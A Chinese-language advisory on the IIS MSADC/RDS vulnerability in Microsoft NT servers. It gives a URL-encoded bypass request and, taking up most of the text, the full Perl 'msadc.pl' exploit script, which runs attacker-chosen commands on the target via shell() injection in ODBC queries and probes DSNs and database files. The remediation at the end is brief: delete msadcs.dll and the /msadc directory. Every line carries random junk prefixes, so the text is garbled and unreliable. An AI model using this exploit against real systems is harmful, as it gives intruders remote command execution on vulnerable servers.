IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
wz+5
8( ;a#*|vx 涉及程序:
sJb)HQ,7x Microsoft NT server
v1r_Z($ =u8D!AxT 描述:
Iz)hz9k 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
JblmXqtC YvruK:I 详细:
ch>Vv"G> 如果你没有时间读详细内容的话,就删除:
hoR=%pC* c:\Program Files\Common Files\System\Msadc\msadcs.dll
FxfL+}?Q 有关的安全问题就没有了。
?{: D,{+ irsfJUr[V 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
ufCqvv>' NGD*ce"w 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
(
f,J_ 关于利用ODBC远程漏洞的描述,请参看:
NaA+/: C4{\@v}t http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm y?#9>S >:\ :Sc8PLT 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
%X9b=%'+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp d9Z&qdxTKq l>~`;W 这里不再论述。
Cqgk 8lOI\- 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
q[G/} PXosFz~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
vJRnBq+y 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
$(gGoL<
3@)obb ;cI#S%uvpn #将下面这段保存为txt文件,然后: "perl -x 文件名"
$J"%I$%X= dC`tN5 #!perl
st?gA"5w #
&$qF4B* # MSADC/RDS 'usage' (aka exploit) script
W|dpFh` #
CE#\Roi x) # by rain.forest.puppy
PK6*}y #
u 1ZJHry # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
S
Pn8\2Cj # beta test and find errors!
JI"/N`-?;b :N@U[Wx0A use Socket; use Getopt::Std;
6F`qi:a+ getopts("e:vd:h:XR", \%args);
k6Ihc?HL AkrTfi4hC print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Vkr`17`G dhHEE|vrz if (!defined $args{h} && !defined $args{R}) {
Di*]ab print qq~
$!G` D= Usage: msadc.pl -h <host> { -d <delay> -X -v }
bj@xqAGl -h <host> = host you want to scan (ip or domain)
HG2GZ}~^1 -d <seconds> = delay between calls, default 1 second
BeK2;[5C -X = dump Index Server path table, if available
GQN98Y+h -v = verbose
]9jZndgC -e = external dictionary file for step 5
z% V* K #{!O,`qD Or a -R will resume a command session
sVu k v f`9*x F ~; exit;}
&1wpGJqm <uZPqi|| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&hayR_F9 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
,"Tjpdf if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3bH~';< if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
fk>l{W}e) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
pOMgEEhfS if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Z>8eD|m%2 {FWyu5. if (!defined $args{R}){ $ret = &has_msadc;
3gpo
% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
rvic%bsk Ah-8"`E print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`<^*jB@P . "cmd /c ";
}W$8M>l $in=<STDIN>; chomp $in;
gN?0m4[$i $command="cmd /c " . $in ;
+Hj/0pp 3 > |uF if (defined $args{R}) {&load; exit;}
iK!dr1:wSw b3\B8:XFo| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
cZ|lCy^ &try_btcustmr;
EKuSnlTXba _gW{gLYyJ print "\nStep 2: Trying to make our own DSN...";
WL l_'2h &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
q#NR32byF $n-Af0tK print "\nStep 3: Trying known DSNs...";
%c X"#+e &known_dsn;
VD$Eb %/T7Z;d print "\nStep 4: Trying known .mdbs...";
\"x>JW4w &known_mdb;
-[DWM2C$K4 S`iR9{+& if (defined $args{e}){
^e%}[q[>| print "\nStep 5: Trying dictionary of DSN names...";
Zu21L3 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
:l,OalO >w.'KR0L print "Sorry Charley...maybe next time?\n";
} ptMjT{9 exit;
\a)) k_aW ##############################################################################
5mgHlsDzu >A}0Ho sub sendraw { # ripped and modded from whisker
81F,Y)x. sleep($delay); # it's a DoS on the server! At least on mine...
iW;i!, my ($pstr)=@_;
Zx{96G+1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?Elg?)os die("Socket problems\n");
-M4p\6)Ge if(connect(S,pack "SnA4x8",2,80,$target)){
s-rfS7; select(S); $|=1;
SfB8!V|; print $pstr; my @in=<S>;
8W+5)m.tp select(STDOUT); close(S);
por/^=e{Y return @in;
Qi9-z' } else { die("Can't connect...\n"); }}
a#0;==# 3`F) AWzdr ##############################################################################
B,vOsa"x6` g"hJ{{< sub make_header { # make the HTTP request
27D!'S my $msadc=<<EOT
,^$|R32 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'6-$Xq0^E User-Agent: ACTIVEDATA
{fDTSr?/ Host: $ip
N|:'XwL Content-Length: $clen
j9R6ta3\l Connection: Keep-Alive
x,8<tSW)Z +?m0Q;%b ADCClientVersion:01.06
H(-4:BD? Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
sL^yB z[nS$]u --!ADM!ROX!YOUR!WORLD!
*>q/WLR Content-Type: application/x-varg
e3[:D5 Content-Length: $reqlen
@;Opx." h|;qG)f^ EOT
lr@#^ ; $msadc=~s/\n/\r\n/g;
Dg>^A return $msadc;}
/rc%O*R v?:: |{ ##############################################################################
-db75= G"dS+,Q sub make_req { # make the RDS request
1X1 NtS@ my ($switch, $p1, $p2)=@_;
!mJo'K my $req=""; my $t1, $t2, $query, $dsn;
Ao9R:|9 'UU\4M if ($switch==1){ # this is the btcustmr.mdb query
oG oK, $query="Select * from Customers where City=" . make_shell();
K>/%X!RW $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8wZf]_ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
]j<Bo4~Il b=;nm#cAI elsif ($switch==2){ # this is general make table query
#*%q'gyHT $query="create table AZZ (B int, C varchar(10))";
s)J(/ $dsn="$p1";}
RFaSwf,5n f9u^ R=Ff[ elsif ($switch==3){ # this is general exploit table query
c=O,;lWFqm $query="select * from AZZ where C=" . make_shell();
Z.PBu|Kx $dsn="$p1";}
IM@tN L ,:Z^$ elsif ($switch==4){ # attempt to hork file info from index server
}_'IE1bA $query="select path from scope()";
hfWFD, $dsn="Provider=MSIDXS;";}
-Z-f1.Dm5 k?B[>aQn.0 elsif ($switch==5){ # bad query
}yn0IWVa $query="select";
=8Jfgq9E $dsn="$p1";}
Sl2iz? - YqYcer $t1= make_unicode($query);
]}="m2S3 $t2= make_unicode($dsn);
xM >W2 $req = "\x02\x00\x03\x00";
4*n#yVb/ $req.= "\x08\x00" . pack ("S1", length($t1));
* |.0Myjo $req.= "\x00\x00" . $t1 ;
"p&Y^] $req.= "\x08\x00" . pack ("S1", length($t2));
3g'S\G@ $req.= "\x00\x00" . $t2 ;
5|0,X<& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*D}0[|O return $req;}
Qd _6)M- Qj{8?lew ##############################################################################
j l.p'$Fbn "Mw[P [w* sub make_shell { # this makes the shell() statement
{Bs~lC$ return "'|shell(\"$command\")|'";}
S_MyoXV C&LBr| ##############################################################################
}U ~6^2 ., Bs+(L [Z sub make_unicode { # quick little function to convert to unicode
e1(Q(3 my ($in)=@_; my $out;
(
9!k# for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
@+vXMJ $ return $out;}
U@ ?LP ZX!r1*c
6 ##############################################################################
TNCgaTJ{h y.5/?{GL sub rdo_success { # checks for RDO return success (this is kludge)
0]KraLu"N my (@in) = @_; my $base=content_start(@in);
El_wdbbT if($in[$base]=~/multipart\/mixed/){
`e9$,h|4 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
;__9TN return 0;}
fx=Awba h5%<+D< ##############################################################################
@2pu^k^ 3&u_A?; sub make_dsn { # this makes a DSN for us
6:GTD$Uz. my @drives=("c","d","e","f");
IEKU-k7}Z print "\nMaking DSN: ";
M;cO0UIwO foreach $drive (@drives) {
Wcb7
;~K print "$drive: ";
GRb*EeT my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
/,!qFt "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
R1nJUOE4w^ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\!( $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
QK0h6CX return 0 if $2 eq "404"; # not found/doesn't exist
.Ha'p. if($2 eq "200") {
M02uO`Y9 foreach $line (@results) {
X37 L\e[c return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
FMkOo2{ } return 0;}
k(zsm"<q O: @}lK+H ##############################################################################
lb'GXd % x~.:64 sub verify_exists {
5H=ko8fZ= my ($page)=@_;
f;/QJ my @results=sendraw("GET $page HTTP/1.0\n\n");
O+%WR return $results[0];}
MCU_Z[N#10 bSVlk` ##############################################################################
GUF"<k 4iW'kuK sub try_btcustmr {
u:aW 8 my @drives=("c","d","e","f");
Pnd`=%w%] my @dirs=("winnt","winnt35","winnt351","win","windows");
\*,=S52 sp@E8G%xO foreach $dir (@dirs) {
sXd8rj:o print "$dir -> "; # fun status so you can see progress
yLsz8j-QJ foreach $drive (@drives) {
Ed9Z9 print "$drive: "; # ditto
M$0u1~K $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&$`yo` $reqlenlen=length( "$reqlen" );
=)hVn $clen= 206 + $reqlenlen + $reqlen;
Fg Lrb# #Rg|BfV- my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Bi@&nAhn@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Rb(SBa else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
cBo{/Tn: ""s]zNF} ##############################################################################
-l%J/ : R\XKMF3mN3 sub odbc_error {
+za8=`2o my (@in)=@_; my $base;
wH~kTU2br my $base = content_start(@in);
lV.F,3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
E~LTb)
! $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V138d?Mm $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&-5_f*{ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
= waA`Id return $in[$base+4].$in[$base+5].$in[$base+6];}
#GJ
dZ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
-{`@=U print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
1 { , F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
p$ bnK] 8u!"#S#>a ##############################################################################
F#|:`$t w,R[C\#J sub verbose {
v=('{/^~> my ($in)=@_;
vSonkJ_ return if !$verbose;
?8W("W print STDOUT "\n$in\n";}
y<b{Ji e @-OnHE ##############################################################################
:8A!HI}m{ 7} jWBK sub save {
~Y.tz`2D my ($p1, $p2, $p3, $p4)=@_;
5XLs} : open(OUT, ">rds.save") || print "Problem saving parameters...\n";
b,KcBQ. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
M4xi1M#% close OUT;}
w1;hy"zPsj /*|oL#hK ##############################################################################
0zY(:;X 7mm1P9Z sub load {
N?X~ w < my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5s?Hxn open(IN,"<rds.save") || die("Couldn't open rds.save\n");
R-^96fFBy @p=<IN>; close(IN);
Mkq( T[) $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
jSc#+_y $target= inet_aton($ip) || die("inet_aton problems");
Hi]cxD*` print "Resuming to $ip ...";
2S' {!A $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
?bw4~ if($p[1]==1) {
;l$ \6T $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
5[n(7;+gw $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
id?h >g my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
>hH0Q5aL if (rdo_success(@results)){print "Success!\n";}
=vT<EW}[ else { print "failed\n"; verbose(odbc_error(@results));}}
V(Yxh+KU elsif ($p[1]==3){
FYS/##r if(run_query("$p[3]")){
-+t]15 print "Success!\n";} else { print "failed\n"; }}
#Km:}= elsif ($p[1]==4){
`<[6YH_ if(run_query($drvst . "$p[3]")){
}KhjlPhx print "Success!\n"; } else { print "failed\n"; }}
H:H6b exit;}
ddVa.0Z!< %&
_V0R\k ##############################################################################
ps$7bN C 34!dYr% sub create_table {
XlI!{qj| my ($in)=@_;
>%E([:$A $reqlen=length( make_req(2,$in,"") ) - 28;
4d:{HLX, $reqlenlen=length( "$reqlen" );
6oSQQhge $clen= 206 + $reqlenlen + $reqlen;
ET];%~ ^ my @results=sendraw(make_header() . make_req(2,$in,""));
E+C5 h
;p& return 1 if rdo_success(@results);
-CH`> my $temp= odbc_error(@results); verbose($temp);
!EQ@#qW/ return 1 if $temp=~/Table 'AZZ' already exists/;
1}ZKc=Pfu return 0;}
{G*A.$-d r}yG0c, ##############################################################################
B^D(5 K\XyZ sub known_dsn {
~el3I=KC} # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
aQ j*KMc my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
qNyzU@ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
H&b3{yOa "banner", "banners", "ads", "ADCDemo", "ADCTest");
9;%CHb& .k4W_9 foreach $dSn (@dsns) {
N)% ;jh:T print ".";
qC!&x,}3 next if (!is_access("DSN=$dSn"));
b`cYpcs if(create_table("DSN=$dSn")){
'Tb0-1S? print "$dSn successful\n";
>Pe:I if(run_query("DSN=$dSn")){
CX+9R3pa print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
NiTJ}1 l print "Something's borked. Use verbose next time\n";}}} print "\n";}
R#0{Wg0O) VN|G5* ##############################################################################
*( *z|2 3_J>y sub is_access {
`C<F+/q my ($in)=@_;
UvD-C?u' $reqlen=length( make_req(5,$in,"") ) - 28;
zUQe0Gc.b^ $reqlenlen=length( "$reqlen" );
b7'F|h^ $clen= 206 + $reqlenlen + $reqlen;
"-U3=+ my @results=sendraw(make_header() . make_req(5,$in,""));
_<u;4RO(s my $temp= odbc_error(@results);
>ITEd verbose($temp); return 1 if ($temp=~/Microsoft Access/);
4g!7
4a return 0;}
"A7<XN< N *1 ##############################################################################
@KJV1t`
Ars,V3ep sub run_query {
Vi,Y@+4 my ($in)=@_;
6h@+?{F. $reqlen=length( make_req(3,$in,"") ) - 28;
j)Lo'&Y~= $reqlenlen=length( "$reqlen" );
7sguGwg) _ $clen= 206 + $reqlenlen + $reqlen;
BvI 0v: my @results=sendraw(make_header() . make_req(3,$in,""));
sS'{QIRC' return 1 if rdo_success(@results);
fM9xy \. my $temp= odbc_error(@results); verbose($temp);
lbofF==( return 0;}
{r{>?)O OequU'j ##############################################################################
+U=KXv . =R=cA7 sub known_mdb {
LT&/0 my @drives=("c","d","e","f","g");
7?"9J`* my @dirs=("winnt","winnt35","winnt351","win","windows");
XC}1_VWs my $dir, $drive, $mdb;
[)k2=67 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
xZg7Jg U
TS{H # this is sparse, because I don't know of many
[$oM my @sysmdbs=( "\\catroot\\icatalog.mdb",
XJ\_V[WA "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
:1NYpsd.i "\\system32\\certmdb.mdb",
,L~snR'w "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
K]MzP|T, p Mh++H]" my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
d~,n_E$q; "\\cfusion\\cfapps\\forums\\forums_.mdb",
5 Af?Yxv "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Ss+F9J
"\\cfusion\\cfapps\\security\\realm_.mdb",
3m~U(yho "\\cfusion\\cfapps\\security\\data\\realm.mdb",
R1~7F{FW "\\cfusion\\database\\cfexamples.mdb",
^:U;rHY "\\cfusion\\database\\cfsnippets.mdb",
=3pD:L "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Jb6& "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
?Cc$] "\\cfusion\\brighttiger\\database\\cleam.mdb",
8W{ g "\\cfusion\\database\\smpolicy.mdb",
I>!|3ElT "\\cfusion\\database\cypress.mdb",
L% zuI& q "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
'oT|cmlc "\\website\\cgi-win\\dbsample.mdb",
vevx|<9, "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
'2j~WUEmg "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
oX2r?.j#M ); #these are just
gMCy$+? foreach $drive (@drives) {
3 k`NNA foreach $dir (@dirs){
jw/wcP foreach $mdb (@sysmdbs) {
hg!x_Eq| print ".";
cFe V?a if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
mJ/^BT] print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
>&g2 IvDS if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
BR%{bY^
5p print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
*:k~g].Iz } else { print "Something's borked. Use verbose next time\n"; }}}}}
"ngSilH?D EwC5[bRjUp foreach $drive (@drives) {
McO@p=M foreach $mdb (@mdbs) {
'! #On/ print ".";
|yuGK if(create_table($drv . $drive . $dir . $mdb)){
rGGS]^ print "\n" . $drive . $dir . $mdb . " successful\n";
wrhBH;3 if(run_query($drv . $drive . $dir . $mdb)){
0oXK&Z print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
|)~Ex 9%ev } else { print "Something's borked. Use verbose next time\n"; }}}}
1*TXDo_T }
JvT%R`i `4se7{'UK` ##############################################################################
V}j%gy` X^u4%O[' sub hork_idx {
pW`ntE#L print "\nAttempting to dump Index Server tables...\n";
CD*f4I#d print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
I3V{"Nx6 $reqlen=length( make_req(4,"","") ) - 28;
F0X5dv $reqlenlen=length( "$reqlen" );
)*"T $clen= 206 + $reqlenlen + $reqlen;
6tDg3`w> my @results=sendraw2(make_header() . make_req(4,"",""));
oUnq"] if (rdo_success(@results)){
"6 uTo0 my $max=@results; my $c; my %d;
$1:}(nO, for($c=19; $c<$max; $c++){
m
T>b; $results[$c]=~s/\x00//g;
f$~ _FX $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
o6`Y7,] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
^Tb}]aHg $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
z_5rAlnwT. $d{"$1$2"}="";}
1jR=h7^= foreach $c (keys %d){ print "$c\n"; }
GLbc/qs } else {print "Index server doesn't seem to be installed.\n"; }}
PmuEL@'^ U oAIY=z ##############################################################################
b|\{ !N] 9Ba%= sub dsn_dict {
R !:eYoQ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
KqT#zj while(<IN>){
v9X7-GJ~ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
[a#?}(( next if (!is_access("DSN=$dSn"));
xMO[3D&D if(create_table("DSN=$dSn")){
r{;VTQ print "$dSn successful\n";
ze#rYN vo/ if(run_query("DSN=$dSn")){
1Xk{(G<\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
60Xl. print "Something's borked. Use verbose next time\n";}}}
duZ|mT8Q== print "\n"; close(IN);}
Gd]5xl
HRU SXT@& @E ##############################################################################
Cy`<^_i =|j*VF 2y" sub sendraw2 { # ripped and modded from whisker
[RGC!}"mr sleep($delay); # it's a DoS on the server! At least on mine...
Zpn*XG my ($pstr)=@_;
op.PS{_t socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:V5!C$QV die("Socket problems\n");
Pl>nd)i` if(connect(S,pack "SnA4x8",2,80,$target)){
y{&{=1# print "Connected. Getting data";
>S-N|uR6 open(OUT,">raw.out"); my @in;
sp=7Kh?|> select(S); $|=1; print $pstr;
@M1yBN while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
X-*KQ+? close(OUT); select(STDOUT); close(S); return @in;
dd?x5|/# } else { die("Can't connect...\n"); }}
vkNZ -`+I ~x+:44* ##############################################################################
b7>-aem@I luG023' sub content_start { # this will take in the server headers
kp#c:ym my (@in)=@_; my $c;
'aSZ!R for ($c=1;$c<500;$c++) {
n{qa ]3 if($in[$c] =~/^\x0d\x0a/){
1A)wbH) if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
U:etcnb4w> else { return $c+1; }}}
i no7!T` return -1;} # it should never get here actually
qw
Kh,[] R"8})a
gw ##############################################################################
~PH1|h6 FzsS~C$wH{ sub funky {
(Ay4B*|! my (@in)=@_; my $error=odbc_error(@in);
lhIr]'?l if($error=~/ADO could not find the specified provider/){
=5s~$C print "\nServer returned an ADO miscofiguration message\nAborting.\n";
')yF0 exit;}
vt(}ga if($error=~/A Handler is required/){
9^C!,A{u4 print "\nServer has custom handler filters (they most likely are patched)\n";
l+3%%TV@L exit;}
n)wpxR if($error=~/specified Handler has denied Access/){
u6bB5(s`& print "\nServer has custom handler filters (they most likely are patched)\n";
[w#x5Xsn exit;}}
J~yd]L> j.yr5% ##############################################################################
x/jN&;"/ yW6[Fpw sub has_msadc {
d@q t%r3; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
?XTg%U
my $base=content_start(@results);
9{]r+z: return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
gYH:EuY, return 0;}
Jj^<:t5{rN >/OXC+=^4 ########################
6Kv}2M')+ @u'27c_<d3 2dV\=vd 解决方案:
,[K)E 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
!\D]\|Bo 2、移除web 目录: /msadc